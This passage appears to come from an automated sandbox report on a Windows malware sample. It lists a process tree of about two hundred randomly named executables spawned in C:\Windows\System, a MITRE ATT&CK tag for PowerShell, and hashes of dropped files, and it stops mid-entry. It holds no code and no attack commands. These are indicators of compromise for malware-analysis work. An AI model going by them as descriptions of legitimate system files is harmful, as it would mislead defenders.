- C:\Windows\System\QKlqHGb.exe
  C:\Windows\System\QKlqHGb.exe
  2⤵
  PID:8292
- C:\Windows\System\LlQTLAI.exe
  C:\Windows\System\LlQTLAI.exe
  2⤵
  PID:8312
- C:\Windows\System\jLVecer.exe
  C:\Windows\System\jLVecer.exe
  2⤵
  PID:8328
- C:\Windows\System\UHSSzDE.exe
  C:\Windows\System\UHSSzDE.exe
  2⤵
  PID:8344
- C:\Windows\System\zqZNOON.exe
  C:\Windows\System\zqZNOON.exe
  2⤵
  PID:8360
- C:\Windows\System\cBDgZxR.exe
  C:\Windows\System\cBDgZxR.exe
  2⤵
  PID:8376
- C:\Windows\System\WPkEbYY.exe
  C:\Windows\System\WPkEbYY.exe
  2⤵
  PID:8392
- C:\Windows\System\JEvDjln.exe
  C:\Windows\System\JEvDjln.exe
  2⤵
  PID:8408
- C:\Windows\System\YrRfijt.exe
  C:\Windows\System\YrRfijt.exe
  2⤵
  PID:8424
- C:\Windows\System\nWxpHqi.exe
  C:\Windows\System\nWxpHqi.exe
  2⤵
  PID:8440
- C:\Windows\System\fqzySEn.exe
  C:\Windows\System\fqzySEn.exe
  2⤵
  PID:8456
- C:\Windows\System\vudKTSM.exe
  C:\Windows\System\vudKTSM.exe
  2⤵
  PID:8472
- C:\Windows\System\PDfQsVM.exe
  C:\Windows\System\PDfQsVM.exe
  2⤵
  PID:8488
- C:\Windows\System\VQyVStK.exe
  C:\Windows\System\VQyVStK.exe
  2⤵
  PID:8504
- C:\Windows\System\IHCgwTJ.exe
  C:\Windows\System\IHCgwTJ.exe
  2⤵
  PID:8520
- C:\Windows\System\ReBzmJz.exe
  C:\Windows\System\ReBzmJz.exe
  2⤵
  PID:8540
- C:\Windows\System\pTuOJqX.exe
  C:\Windows\System\pTuOJqX.exe
  2⤵
  PID:8560
- C:\Windows\System\OYoYEYh.exe
  C:\Windows\System\OYoYEYh.exe
  2⤵
  PID:8576
- C:\Windows\System\ulFlptv.exe
  C:\Windows\System\ulFlptv.exe
  2⤵
  PID:8592
- C:\Windows\System\KygVFQa.exe
  C:\Windows\System\KygVFQa.exe
  2⤵
  PID:8616
- C:\Windows\System\QRejQIC.exe
  C:\Windows\System\QRejQIC.exe
  2⤵
  PID:8636
- C:\Windows\System\EXneTvA.exe
  C:\Windows\System\EXneTvA.exe
  2⤵
  PID:8652
- C:\Windows\System\SPMZWoG.exe
  C:\Windows\System\SPMZWoG.exe
  2⤵
  PID:8668
- C:\Windows\System\ObVevhF.exe
  C:\Windows\System\ObVevhF.exe
  2⤵
  PID:8684
- C:\Windows\System\RmedlgO.exe
  C:\Windows\System\RmedlgO.exe
  2⤵
  PID:8700
- C:\Windows\System\FZXTDXh.exe
  C:\Windows\System\FZXTDXh.exe
  2⤵
  PID:8716
- C:\Windows\System\sxXcRYZ.exe
  C:\Windows\System\sxXcRYZ.exe
  2⤵
  PID:8732
- C:\Windows\System\CahSrAM.exe
  C:\Windows\System\CahSrAM.exe
  2⤵
  PID:8748
- C:\Windows\System\VhCfedt.exe
  C:\Windows\System\VhCfedt.exe
  2⤵
  PID:8768
- C:\Windows\System\sCUkoKD.exe
  C:\Windows\System\sCUkoKD.exe
  2⤵
  PID:8784
- C:\Windows\System\hTyvTzx.exe
  C:\Windows\System\hTyvTzx.exe
  2⤵
  PID:8800
- C:\Windows\System\YvKzrSl.exe
  C:\Windows\System\YvKzrSl.exe
  2⤵
  PID:8816
- C:\Windows\System\BzoyfRn.exe
  C:\Windows\System\BzoyfRn.exe
  2⤵
  PID:8832
- C:\Windows\System\LiHpjKH.exe
  C:\Windows\System\LiHpjKH.exe
  2⤵
  PID:8848
- C:\Windows\System\oWiCWaR.exe
  C:\Windows\System\oWiCWaR.exe
  2⤵
  PID:8864
- C:\Windows\System\vHMfujP.exe
  C:\Windows\System\vHMfujP.exe
  2⤵
  PID:8880
- C:\Windows\System\Fplopgz.exe
  C:\Windows\System\Fplopgz.exe
  2⤵
  PID:8896
- C:\Windows\System\izzbkgd.exe
  C:\Windows\System\izzbkgd.exe
  2⤵
  PID:8912
- C:\Windows\System\oJMzDHB.exe
  C:\Windows\System\oJMzDHB.exe
  2⤵
  PID:8928
- C:\Windows\System\ndtRcZC.exe
  C:\Windows\System\ndtRcZC.exe
  2⤵
  PID:8944
- C:\Windows\System\eTJXCXr.exe
  C:\Windows\System\eTJXCXr.exe
  2⤵
  PID:8968
- C:\Windows\System\PcAuYwU.exe
  C:\Windows\System\PcAuYwU.exe
  2⤵
  PID:8988
- C:\Windows\System\OQZhyPb.exe
  C:\Windows\System\OQZhyPb.exe
  2⤵
  PID:9004
- C:\Windows\System\kGiNyYU.exe
  C:\Windows\System\kGiNyYU.exe
  2⤵
  PID:9020
- C:\Windows\System\hwtCZce.exe
  C:\Windows\System\hwtCZce.exe
  2⤵
  PID:9036
- C:\Windows\System\rXXcYyk.exe
  C:\Windows\System\rXXcYyk.exe
  2⤵
  PID:9060
- C:\Windows\System\cknzQRu.exe
  C:\Windows\System\cknzQRu.exe
  2⤵
  PID:9076
- C:\Windows\System\ewiTZQZ.exe
  C:\Windows\System\ewiTZQZ.exe
  2⤵
  PID:9092
- C:\Windows\System\yeEyMyp.exe
  C:\Windows\System\yeEyMyp.exe
  2⤵
  PID:9108
- C:\Windows\System\EMYipzP.exe
  C:\Windows\System\EMYipzP.exe
  2⤵
  PID:9124
- C:\Windows\System\AkTofXr.exe
  C:\Windows\System\AkTofXr.exe
  2⤵
  PID:9140
- C:\Windows\System\FZlOHDc.exe
  C:\Windows\System\FZlOHDc.exe
  2⤵
  PID:9160
- C:\Windows\System\lkDuVBz.exe
  C:\Windows\System\lkDuVBz.exe
  2⤵
  PID:9176
- C:\Windows\System\OonQZXt.exe
  C:\Windows\System\OonQZXt.exe
  2⤵
  PID:9196
- C:\Windows\System\ulKOAti.exe
  C:\Windows\System\ulKOAti.exe
  2⤵
  PID:9212
- C:\Windows\System\JLRUscC.exe
  C:\Windows\System\JLRUscC.exe
  2⤵
  PID:8224
- C:\Windows\System\daalPeu.exe
  C:\Windows\System\daalPeu.exe
  2⤵
  PID:8284
- C:\Windows\System\GreOVzZ.exe
  C:\Windows\System\GreOVzZ.exe
  2⤵
  PID:7180
- C:\Windows\System\umtjvtW.exe
  C:\Windows\System\umtjvtW.exe
  2⤵
  PID:8156
- C:\Windows\System\NQTNrSZ.exe
  C:\Windows\System\NQTNrSZ.exe
  2⤵
  PID:7232
- C:\Windows\System\GKPUKTc.exe
  C:\Windows\System\GKPUKTc.exe
  2⤵
  PID:7652
- C:\Windows\System\TPXCOEk.exe
  C:\Windows\System\TPXCOEk.exe
  2⤵
  PID:7720
- C:\Windows\System\JzlqipZ.exe
  C:\Windows\System\JzlqipZ.exe
  2⤵
  PID:8036
- C:\Windows\System\mDluzJK.exe
  C:\Windows\System\mDluzJK.exe
  2⤵
  PID:8240
- C:\Windows\System\kkJQkMB.exe
  C:\Windows\System\kkJQkMB.exe
  2⤵
  PID:8324
- C:\Windows\System\yOQjQAT.exe
  C:\Windows\System\yOQjQAT.exe
  2⤵
  PID:8388
- C:\Windows\System\LaKyFrJ.exe
  C:\Windows\System\LaKyFrJ.exe
  2⤵
  PID:8452
- C:\Windows\System\rIJxhTR.exe
  C:\Windows\System\rIJxhTR.exe
  2⤵
  PID:8512
- C:\Windows\System\bQPODfa.exe
  C:\Windows\System\bQPODfa.exe
  2⤵
  PID:8336
- C:\Windows\System\iJXLzYU.exe
  C:\Windows\System\iJXLzYU.exe
  2⤵
  PID:8400
- C:\Windows\System\QzkygOl.exe
  C:\Windows\System\QzkygOl.exe
  2⤵
  PID:8496
- C:\Windows\System\WVzgRGn.exe
  C:\Windows\System\WVzgRGn.exe
  2⤵
  PID:8552
- C:\Windows\System\YWziayT.exe
  C:\Windows\System\YWziayT.exe
  2⤵
  PID:8588
- C:\Windows\System\IlHzxKJ.exe
  C:\Windows\System\IlHzxKJ.exe
  2⤵
  PID:8624
- C:\Windows\System\EWMCnIG.exe
  C:\Windows\System\EWMCnIG.exe
  2⤵
  PID:8664
- C:\Windows\System\KrtWUro.exe
  C:\Windows\System\KrtWUro.exe
  2⤵
  PID:8728
- C:\Windows\System\lUcRfbV.exe
  C:\Windows\System\lUcRfbV.exe
  2⤵
  PID:8792
- C:\Windows\System\eRrTRjX.exe
  C:\Windows\System\eRrTRjX.exe
  2⤵
  PID:8856
- C:\Windows\System\MvqLPPA.exe
  C:\Windows\System\MvqLPPA.exe
  2⤵
  PID:8924
- C:\Windows\System\WzkmaVr.exe
  C:\Windows\System\WzkmaVr.exe
  2⤵
  PID:8952
- C:\Windows\System\msslNgq.exe
  C:\Windows\System\msslNgq.exe
  2⤵
  PID:9000
- C:\Windows\System\XIDDBvz.exe
  C:\Windows\System\XIDDBvz.exe
  2⤵
  PID:9072
- C:\Windows\System\JJHbPss.exe
  C:\Windows\System\JJHbPss.exe
  2⤵
  PID:9136
- C:\Windows\System\dpavmNM.exe
  C:\Windows\System\dpavmNM.exe
  2⤵
  PID:9172
- C:\Windows\System\XydZzRz.exe
  C:\Windows\System\XydZzRz.exe
  2⤵
  PID:9208
- C:\Windows\System\ympGkiT.exe
  C:\Windows\System\ympGkiT.exe
  2⤵
  PID:8252
- C:\Windows\System\YkypiMw.exe
  C:\Windows\System\YkypiMw.exe
  2⤵
  PID:7832
- C:\Windows\System\eRiFKAn.exe
  C:\Windows\System\eRiFKAn.exe
  2⤵
  PID:8908
- C:\Windows\System\QDajHlw.exe
  C:\Windows\System\QDajHlw.exe
  2⤵
  PID:8648
- C:\Windows\System\fmUrBhK.exe
  C:\Windows\System\fmUrBhK.exe
  2⤵
  PID:9116
- C:\Windows\System\YfuHvHE.exe
  C:\Windows\System\YfuHvHE.exe
  2⤵
  PID:8776
- C:\Windows\System\nuKBllK.exe
  C:\Windows\System\nuKBllK.exe
  2⤵
  PID:8844
- C:\Windows\System\wBLwtyw.exe
  C:\Windows\System\wBLwtyw.exe
  2⤵
  PID:8936
- C:\Windows\System\LtaqFrc.exe
  C:\Windows\System\LtaqFrc.exe
  2⤵
  PID:8984
- C:\Windows\System\GBZBxig.exe
  C:\Windows\System\GBZBxig.exe
  2⤵
  PID:9088
- C:\Windows\System\ITTKhsZ.exe
  C:\Windows\System\ITTKhsZ.exe
  2⤵
  PID:9192
- C:\Windows\System\QBvvEdZ.exe
  C:\Windows\System\QBvvEdZ.exe
  2⤵
  PID:8084
- C:\Windows\System\kSZGiLN.exe
  C:\Windows\System\kSZGiLN.exe
  2⤵
  PID:8308
- C:\Windows\System\rZGEfgA.exe
  C:\Windows\System\rZGEfgA.exe
  2⤵
  PID:8448
- C:\Windows\System\WqkuVgN.exe
  C:\Windows\System\WqkuVgN.exe
  2⤵
  PID:8464
- C:\Windows\System\dQDdwAl.exe
  C:\Windows\System\dQDdwAl.exe
  2⤵
  PID:8660
- C:\Windows\System\vsSZqoI.exe
  C:\Windows\System\vsSZqoI.exe
  2⤵
  PID:8572
- C:\Windows\System\PlmTXOt.exe
  C:\Windows\System\PlmTXOt.exe
  2⤵
  PID:9104
- C:\Windows\System\fOhEtEW.exe
  C:\Windows\System\fOhEtEW.exe
  2⤵
  PID:9204
- C:\Windows\System\CAcyAEz.exe
  C:\Windows\System\CAcyAEz.exe
  2⤵
  PID:8484
- C:\Windows\System\joDwenF.exe
  C:\Windows\System\joDwenF.exe
  2⤵
  PID:8548
- C:\Windows\System\syDRozF.exe
  C:\Windows\System\syDRozF.exe
  2⤵
  PID:9152
- C:\Windows\System\AKYuGFW.exe
  C:\Windows\System\AKYuGFW.exe
  2⤵
  PID:7576
- C:\Windows\System\sdkpKOH.exe
  C:\Windows\System\sdkpKOH.exe
  2⤵
  PID:8828
- C:\Windows\System\QmtXmjP.exe
  C:\Windows\System\QmtXmjP.exe
  2⤵
  PID:8824
- C:\Windows\System\sSvKAQO.exe
  C:\Windows\System\sSvKAQO.exe
  2⤵
  PID:7212
- C:\Windows\System\kjjAwLv.exe
  C:\Windows\System\kjjAwLv.exe
  2⤵
  PID:8584
- C:\Windows\System\VviLgBf.exe
  C:\Windows\System\VviLgBf.exe
  2⤵
  PID:8960
- C:\Windows\System\KvqUoOc.exe
  C:\Windows\System\KvqUoOc.exe
  2⤵
  PID:9068
- C:\Windows\System\lEflgzJ.exe
  C:\Windows\System\lEflgzJ.exe
  2⤵
  PID:8644
- C:\Windows\System\gJvgRLn.exe
  C:\Windows\System\gJvgRLn.exe
  2⤵
  PID:7916
- C:\Windows\System\bruYdQd.exe
  C:\Windows\System\bruYdQd.exe
  2⤵
  PID:8808
- C:\Windows\System\OvgbxXR.exe
  C:\Windows\System\OvgbxXR.exe
  2⤵
  PID:9084
- C:\Windows\System\qZeYWJP.exe
  C:\Windows\System\qZeYWJP.exe
  2⤵
  PID:8600
- C:\Windows\System\rddOxgN.exe
  C:\Windows\System\rddOxgN.exe
  2⤵
  PID:8468
- C:\Windows\System\JCnMHGR.exe
  C:\Windows\System\JCnMHGR.exe
  2⤵
  PID:8964
- C:\Windows\System\TBoTTjT.exe
  C:\Windows\System\TBoTTjT.exe
  2⤵
  PID:7932
- C:\Windows\System\jHVTDsM.exe
  C:\Windows\System\jHVTDsM.exe
  2⤵
  PID:8368
- C:\Windows\System\jrumDPW.exe
  C:\Windows\System\jrumDPW.exe
  2⤵
  PID:8220
- C:\Windows\System\fhauLJT.exe
  C:\Windows\System\fhauLJT.exe
  2⤵
  PID:8612
- C:\Windows\System\jYqUxQY.exe
  C:\Windows\System\jYqUxQY.exe
  2⤵
  PID:9188
- C:\Windows\System\CiwzFui.exe
  C:\Windows\System\CiwzFui.exe
  2⤵
  PID:9224
- C:\Windows\System\DBbWrTQ.exe
  C:\Windows\System\DBbWrTQ.exe
  2⤵
  PID:9240
- C:\Windows\System\CGrQsJn.exe
  C:\Windows\System\CGrQsJn.exe
  2⤵
  PID:9256
- C:\Windows\System\UWjeJpI.exe
  C:\Windows\System\UWjeJpI.exe
  2⤵
  PID:9276
- C:\Windows\System\gxBkMWs.exe
  C:\Windows\System\gxBkMWs.exe
  2⤵
  PID:9292
- C:\Windows\System\tYpEILl.exe
  C:\Windows\System\tYpEILl.exe
  2⤵
  PID:9308
- C:\Windows\System\GZJqipd.exe
  C:\Windows\System\GZJqipd.exe
  2⤵
  PID:9324
- C:\Windows\System\JSsMFBr.exe
  C:\Windows\System\JSsMFBr.exe
  2⤵
  PID:9340
- C:\Windows\System\JKcIvlh.exe
  C:\Windows\System\JKcIvlh.exe
  2⤵
  PID:9356
- C:\Windows\System\hnGuxOv.exe
  C:\Windows\System\hnGuxOv.exe
  2⤵
  PID:9372
- C:\Windows\System\JuMzpng.exe
  C:\Windows\System\JuMzpng.exe
  2⤵
  PID:9388
- C:\Windows\System\YDKYQrv.exe
  C:\Windows\System\YDKYQrv.exe
  2⤵
  PID:9404
- C:\Windows\System\CTPnLzi.exe
  C:\Windows\System\CTPnLzi.exe
  2⤵
  PID:9420
- C:\Windows\System\QPydutC.exe
  C:\Windows\System\QPydutC.exe
  2⤵
  PID:9436
- C:\Windows\System\KMNFbqc.exe
  C:\Windows\System\KMNFbqc.exe
  2⤵
  PID:9452
- C:\Windows\System\LiCfUXd.exe
  C:\Windows\System\LiCfUXd.exe
  2⤵
  PID:9472
- C:\Windows\System\kyWaPtQ.exe
  C:\Windows\System\kyWaPtQ.exe
  2⤵
  PID:9496
- C:\Windows\System\gdSkuQv.exe
  C:\Windows\System\gdSkuQv.exe
  2⤵
  PID:9512
- C:\Windows\System\EtRJgZh.exe
  C:\Windows\System\EtRJgZh.exe
  2⤵
  PID:9528
- C:\Windows\System\aXLbrvC.exe
  C:\Windows\System\aXLbrvC.exe
  2⤵
  PID:9544
- C:\Windows\System\IhSDDFa.exe
  C:\Windows\System\IhSDDFa.exe
  2⤵
  PID:9560
- C:\Windows\System\wPFdhzR.exe
  C:\Windows\System\wPFdhzR.exe
  2⤵
  PID:9576
- C:\Windows\System\ZfYujHy.exe
  C:\Windows\System\ZfYujHy.exe
  2⤵
  PID:9592
- C:\Windows\System\umxPkLj.exe
  C:\Windows\System\umxPkLj.exe
  2⤵
  PID:9608
- C:\Windows\System\lIAdCYw.exe
  C:\Windows\System\lIAdCYw.exe
  2⤵
  PID:9628
- C:\Windows\System\DgxWXim.exe
  C:\Windows\System\DgxWXim.exe
  2⤵
  PID:9644
- C:\Windows\System\gJsvMFB.exe
  C:\Windows\System\gJsvMFB.exe
  2⤵
  PID:9660
- C:\Windows\System\kdawbbZ.exe
  C:\Windows\System\kdawbbZ.exe
  2⤵
  PID:9676
- C:\Windows\System\JVyEtkY.exe
  C:\Windows\System\JVyEtkY.exe
  2⤵
  PID:9692
- C:\Windows\System\aUzUPOK.exe
  C:\Windows\System\aUzUPOK.exe
  2⤵
  PID:9708
- C:\Windows\System\rLAwRlq.exe
  C:\Windows\System\rLAwRlq.exe
  2⤵
  PID:9724
- C:\Windows\System\wJjNaOi.exe
  C:\Windows\System\wJjNaOi.exe
  2⤵
  PID:9740
- C:\Windows\System\PaIqltm.exe
  C:\Windows\System\PaIqltm.exe
  2⤵
  PID:9760
- C:\Windows\System\inuSHZt.exe
  C:\Windows\System\inuSHZt.exe
  2⤵
  PID:9776
- C:\Windows\System\EzYOQjv.exe
  C:\Windows\System\EzYOQjv.exe
  2⤵
  PID:9792
- C:\Windows\System\fKqXSsJ.exe
  C:\Windows\System\fKqXSsJ.exe
  2⤵
  PID:9808
- C:\Windows\System\KtMBOFL.exe
  C:\Windows\System\KtMBOFL.exe
  2⤵
  PID:9824
- C:\Windows\System\jXQFRvR.exe
  C:\Windows\System\jXQFRvR.exe
  2⤵
  PID:9840
- C:\Windows\System\vmVtDcO.exe
  C:\Windows\System\vmVtDcO.exe
  2⤵
  PID:9856
- C:\Windows\System\oliprHX.exe
  C:\Windows\System\oliprHX.exe
  2⤵
  PID:9872
- C:\Windows\System\ybsHYZk.exe
  C:\Windows\System\ybsHYZk.exe
  2⤵
  PID:9888
- C:\Windows\System\AEStRdq.exe
  C:\Windows\System\AEStRdq.exe
  2⤵
  PID:9904
- C:\Windows\System\YryvdBy.exe
  C:\Windows\System\YryvdBy.exe
  2⤵
  PID:9920
- C:\Windows\System\Tndxmiw.exe
  C:\Windows\System\Tndxmiw.exe
  2⤵
  PID:9936
- C:\Windows\System\uBzkWxT.exe
  C:\Windows\System\uBzkWxT.exe
  2⤵
  PID:9952
- C:\Windows\System\gxnvzbX.exe
  C:\Windows\System\gxnvzbX.exe
  2⤵
  PID:9968
- C:\Windows\System\SwqXNqJ.exe
  C:\Windows\System\SwqXNqJ.exe
  2⤵
  PID:9984
- C:\Windows\System\OZNYuXz.exe
  C:\Windows\System\OZNYuXz.exe
  2⤵
  PID:10000
- C:\Windows\System\QqvAJzz.exe
  C:\Windows\System\QqvAJzz.exe
  2⤵
  PID:10016
- C:\Windows\System\LYtWlxt.exe
  C:\Windows\System\LYtWlxt.exe
  2⤵
  PID:10032
- C:\Windows\System\xNOqzPC.exe
  C:\Windows\System\xNOqzPC.exe
  2⤵
  PID:10048
- C:\Windows\System\zxLptCq.exe
  C:\Windows\System\zxLptCq.exe
  2⤵
  PID:10064
- C:\Windows\System\PVCsQNX.exe
  C:\Windows\System\PVCsQNX.exe
  2⤵
  PID:10080
- C:\Windows\System\CUKSozR.exe
  C:\Windows\System\CUKSozR.exe
  2⤵
  PID:10096
- C:\Windows\System\VtNBaJl.exe
  C:\Windows\System\VtNBaJl.exe
  2⤵
  PID:10112
- C:\Windows\System\UHbzRqx.exe
  C:\Windows\System\UHbzRqx.exe
  2⤵
  PID:10128
- C:\Windows\System\okKBKlu.exe
  C:\Windows\System\okKBKlu.exe
  2⤵
  PID:10144
- C:\Windows\System\GdjVCHE.exe
  C:\Windows\System\GdjVCHE.exe
  2⤵
  PID:10160
- C:\Windows\System\ZGSUFph.exe
  C:\Windows\System\ZGSUFph.exe
  2⤵
  PID:10176
- C:\Windows\System\UmOLtBs.exe
  C:\Windows\System\UmOLtBs.exe
  2⤵
  PID:10192
- C:\Windows\System\ALmRuAe.exe
  C:\Windows\System\ALmRuAe.exe
  2⤵
  PID:10208
- C:\Windows\System\YZVbpUm.exe
  C:\Windows\System\YZVbpUm.exe
  2⤵
  PID:10224
- C:\Windows\System\gDRYSvj.exe
  C:\Windows\System\gDRYSvj.exe
  2⤵
  PID:8708
- C:\Windows\System\AiwxAiL.exe
  C:\Windows\System\AiwxAiL.exe
  2⤵
  PID:8840
- C:\Windows\System\mILZJoZ.exe
  C:\Windows\System\mILZJoZ.exe
  2⤵
  PID:8372
- C:\Windows\System\BIDrSzS.exe
  C:\Windows\System\BIDrSzS.exe
  2⤵
  PID:7264
- C:\Windows\System\opIGMNd.exe
  C:\Windows\System\opIGMNd.exe
  2⤵
  PID:8764
- C:\Windows\System\JBLVwbX.exe
  C:\Windows\System\JBLVwbX.exe
  2⤵
  PID:9320
- C:\Windows\System\WFCbnIf.exe
  C:\Windows\System\WFCbnIf.exe
  2⤵
  PID:9384
- C:\Windows\System\xDMLsQi.exe
  C:\Windows\System\xDMLsQi.exe
  2⤵
  PID:9444
- C:\Windows\System\RdnKOXf.exe
  C:\Windows\System\RdnKOXf.exe
  2⤵
  PID:8980
- C:\Windows\System\RXgbldG.exe
  C:\Windows\System\RXgbldG.exe
  2⤵
  PID:9264
- C:\Windows\System\SLJSSde.exe
  C:\Windows\System\SLJSSde.exe
  2⤵
  PID:9268
- C:\Windows\System\xJGqhoX.exe
  C:\Windows\System\xJGqhoX.exe
  2⤵
  PID:9304
- C:\Windows\System\LrvJzGm.exe
  C:\Windows\System\LrvJzGm.exe
  2⤵
  PID:9368
- C:\Windows\System\XDJhsYb.exe
  C:\Windows\System\XDJhsYb.exe
  2⤵
  PID:9432
- C:\Windows\System\hMUTexG.exe
  C:\Windows\System\hMUTexG.exe
  2⤵
  PID:9508
- C:\Windows\System\ZBHfSUG.exe
  C:\Windows\System\ZBHfSUG.exe
  2⤵
  PID:9584
- C:\Windows\System\mnxxsuV.exe
  C:\Windows\System\mnxxsuV.exe
  2⤵
  PID:9572
- C:\Windows\System\BAnZGef.exe
  C:\Windows\System\BAnZGef.exe
  2⤵
  PID:9588
- C:\Windows\System\zjiclnf.exe
  C:\Windows\System\zjiclnf.exe
  2⤵
  PID:9652
- C:\Windows\System\MEBrppj.exe
  C:\Windows\System\MEBrppj.exe
  2⤵
  PID:9716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\CHKSvnT.exe

Filesize
1.3MB

MD5
1d3128a7a679064277b8728d7306a219

SHA1
dbbab9cd73f49432bc26f631d94d26aca956572e

SHA256
36004426e938370318576e521aa5187d030f6c6a8633e883d7abcb066493d2fe

SHA512
c3cc8b18e7770ddf1a16371f37372cb6ee63b8231b799a848c7b27a411074bd7b79a16e9fc7a1a3c2d04729edd67e8ff24f076e5528fe2701baa661c2455af88

Download Submit
C:\Windows\system\DwzhWif.exe

Filesize
1.3MB

MD5
79e39a6e250780a3e88984e8066decc3

SHA1
08e18ac189e2b26bc8b0566961e493542044caac

SHA256
3f21550b51d14cf577edaa2d44dd9c4bf4fa303f68d95570a8ab7091cb953b6f

SHA512
3d959eb2d625ffa9cc1ab60e0f2ab5ed78d51a216ccec1c59651e45e8a9433f317f41db3f489272cad6308ffbf746cdc19953f7dfdc11196ff67a805b87478d8

Download Submit
C:\Windows\system\FOAhwgD.exe

Filesize
1.3MB

MD5
1c171a971e6fd594f897ac8dfb2c28ea

SHA1
549051b062fff66f332c767a483a2123531f989d

SHA256
43693c369b788f9defe6f5a1a4e61bd12b571ec5214fdc72e0b51b768b8b7505

SHA512
2ae1bbe8544b387287b5a96280530287c7c79c119defdfe415167b844808dbad423c30372cc04a9d28a1ef81bb6cb5c70482a0dd60538db05a493a63b7c1ba71

Download Submit
C:\Windows\system\FWzwasg.exe

Filesize
1.3MB

MD5
1345bdbe50d692e1ef88c726aaf193f2

SHA1
74d71f913d13a2dada2fc75144e7993d569e164c

SHA256
8ae81e8b547054ae1dd9a82437ec1f5da1fffe37bc19293bfdc2518cd445ee04

SHA512
d34670f8fd2883b8867b9821bf3c40f15038816286d3100be9cbcf0333eb75c331c99d89ddf89d33a21ae3199b0fdc52797ddd734e7f11fb567f1d0ed534956b

Download Submit
C:\Windows\system\FmQLYWP.exe

Filesize
1.3MB

MD5
4f24b9196daa3da30a2640eb01329710

SHA1
cfa57ee23c7c7dd38d3875c3b6a3f072557c6bf8

SHA256
28d0aa133e845bd17e2824929a2ddc754eab2e6de7f297ffa4bb5dd43d25361b

SHA512
eca24ffc3559221b8d372bb95b6e2a43889d70407eecfbd674135ec1adab857c8bee2b6040781b257be96956734e6fcc6ceb1e3d1dff9a5197abdd53a759a6ea

Download Submit
C:\Windows\system\IjcuCZN.exe

Filesize
1.3MB

MD5
b8d29496e63ee733dd77dad8a623d4e3

SHA1
9ca72c2db3c474f6cb31ad67f4a97c68592248a9

SHA256
279728c567a55459731c17d232838b9af4d7d9796403b12c4be6eb27e9e19024

SHA512
c79d45cb0f2ada28a85c0a96448dbb48054eda72650162405adeeb844be7b04c9b1077dc470b437b4dd57f7a44bb5a871d707691b884f1c02ee0aa7ae9d55145

Download Submit
C:\Windows\system\KGdvVgB.exe

Filesize
1.3MB

MD5
9e573688629dd29359880eca5e2b71cc

SHA1
4ad1434f9da30242b2cac41a6d35dc69b795f3ab

SHA256
106748fa1e1a52865fc1dcc19142ae23fe208e885e9fa2c676eda4a5d0a61d64

SHA512
cb7cc5a192592b4db8fefa2927ca1d853d7fecd493ecb1ae888e6c2b4a1600ecfcc74566542531d2c46b9f11a4d5ef7ad49cc4b662811e88a03819622cfe8727

Download Submit
C:\Windows\system\KoifEUW.exe

Filesize
1.3MB

MD5
9d19304d6cc09698d7b0a418c9aa2375

SHA1
a95e049ec72f12896f0fc3e6239a7808de288a71

SHA256
873d13b8d10aedfd233dfe921858f971c51cb7ee36308146e96ccff0a8bf124b

SHA512
4622043108639c4e147e5d9abe2eec3771403d93e1a9be6447f8f78689b603444dc275e33a5c7d78e76d128be42749e10b6580e9fd05403832d03908aa6bf13c

Download Submit
C:\Windows\system\MAQaOgk.exe

Filesize
1.3MB

MD5
dcff7d6add3783e8bf78dc0e7f6e95ca

SHA1
e633a2bf2248fdaaed1cc42d628fc7218367f3c4

SHA256
6516b59e5fbd0a324eee5b7fee8ff181bd9f6b6459bee3acd2d133840136ce48

SHA512
83454c9b0bc5f939b8581b845a35e95a008c087c64764120f220236c37372fe3e7429c95debc726661f88892ddf615653ea5dbae3ec8377bb9beb0ef2ea4a47e

Download Submit
C:\Windows\system\Mfevupf.exe

Filesize
1.3MB

MD5
b8e84341369acabb9ae606a8564f0a51

SHA1
a94c79281066a4c57bff4f8652e6f1347750c9c6

SHA256
b5185ceafdbd78655828c4bb07739094b939a19ed24f060ab424c0f6ea2b9444

SHA512
7df99674f9c7dd01557c506266bee2f955c8c5321a916ef26a4b64a62a018694d02ada0513e9f819210b1017485db2521a612095244ec0d27a03bb2245f92610

Download Submit
C:\Windows\system\OrGWJQS.exe

Filesize
1.3MB

MD5
affe452597933ab09f5eede2a24f66f2

SHA1
c2e0f4be814a17bb565351885bf3035c0a8d3b85

SHA256
daf33f4241b84674fbb9c3e8240fd003f98b542e064b376baf29ce670460cf57

SHA512
66af46ba3944268ece3ffd2b2dc8d7eb11fbb24148726a13cdeb6a678eb2253a9d0d66b763e8ab9cb11082d1007553b5f62c4258519e6e74e69ef6956b98c1b9

Download Submit
C:\Windows\system\SSzxngQ.exe

Filesize
1.3MB

MD5
9b7157be56bee18d71c97712a1d9cf9e

SHA1
1a3b1a7334076106134e039d0eef3d7bf0057f08

SHA256
0bb15c825555f403d63f70b4c730bf877f2e9e8950dbc6b52fcc247e9347b0fe

SHA512
1956df036adae24d3a43d20d8e246b725f4f9de9157cac29dc6d06f9b33bc4c7abbcf8041a1c77a9ec4d91f8e6b62c49b1b3ee8dbc3e66d57aa99125ec74ced7

Download Submit
C:\Windows\system\UPydsBW.exe

Filesize
1.3MB

MD5
d611a5c3e832d397ffd2e9d43002d65c

SHA1
53610cb13009def154fd0ca74e30b7e222a94e00

SHA256
a62e4cf8b5ed8f35d0a75766a079294fcaf8b36907c10743f328bc43bd2e7535

SHA512
2134a7d4a2ff4f6bfb6e1ab39740f9f68404255102a78e91deef01ed209fa2869a9b3fed11ff5ed041d4bf166d416406035072879a4d804f4559786ad7c8bcfd

Download Submit
C:\Windows\system\WtNDDFo.exe

Filesize
1.3MB

MD5
bd061991736f179bd68941f4c9fb9c12

SHA1
36c582669368df3cd61cf77a5f4b2296367eb8b9

SHA256
a2fdcd7100b07521e4aa27670d92030f7e14f524067a2a2971d2edc2d668484f

SHA512
b4ba88709dcd9ab217a09bebe09c786eee66ffc9f602e415738f1024c91130957ceec5e018d05a45594938ebaf4e251164a34cdf4e15851227a4193597d28e0b

Download Submit
C:\Windows\system\aCEJhoA.exe

Filesize
1.3MB

MD5
220fd11b3555e8bedfb29511439ce8d9

SHA1
e7bde3b5df3e2846ca62e72bc3ac63126b04bd29

SHA256
140f5dae3ae9ee6a5e4551e80a98df70b17f4a40698feda2f2370f990ad080d4

SHA512
41ce955f7677e05df826892c62fe8c259571fac286fc213092a788d0f381655865db55a302b861cd9652e124e092e914493bc0ebe0d5dff93cb22755b5f6df29

Download Submit
C:\Windows\system\bKpKgOZ.exe

Filesize
1.3MB

MD5
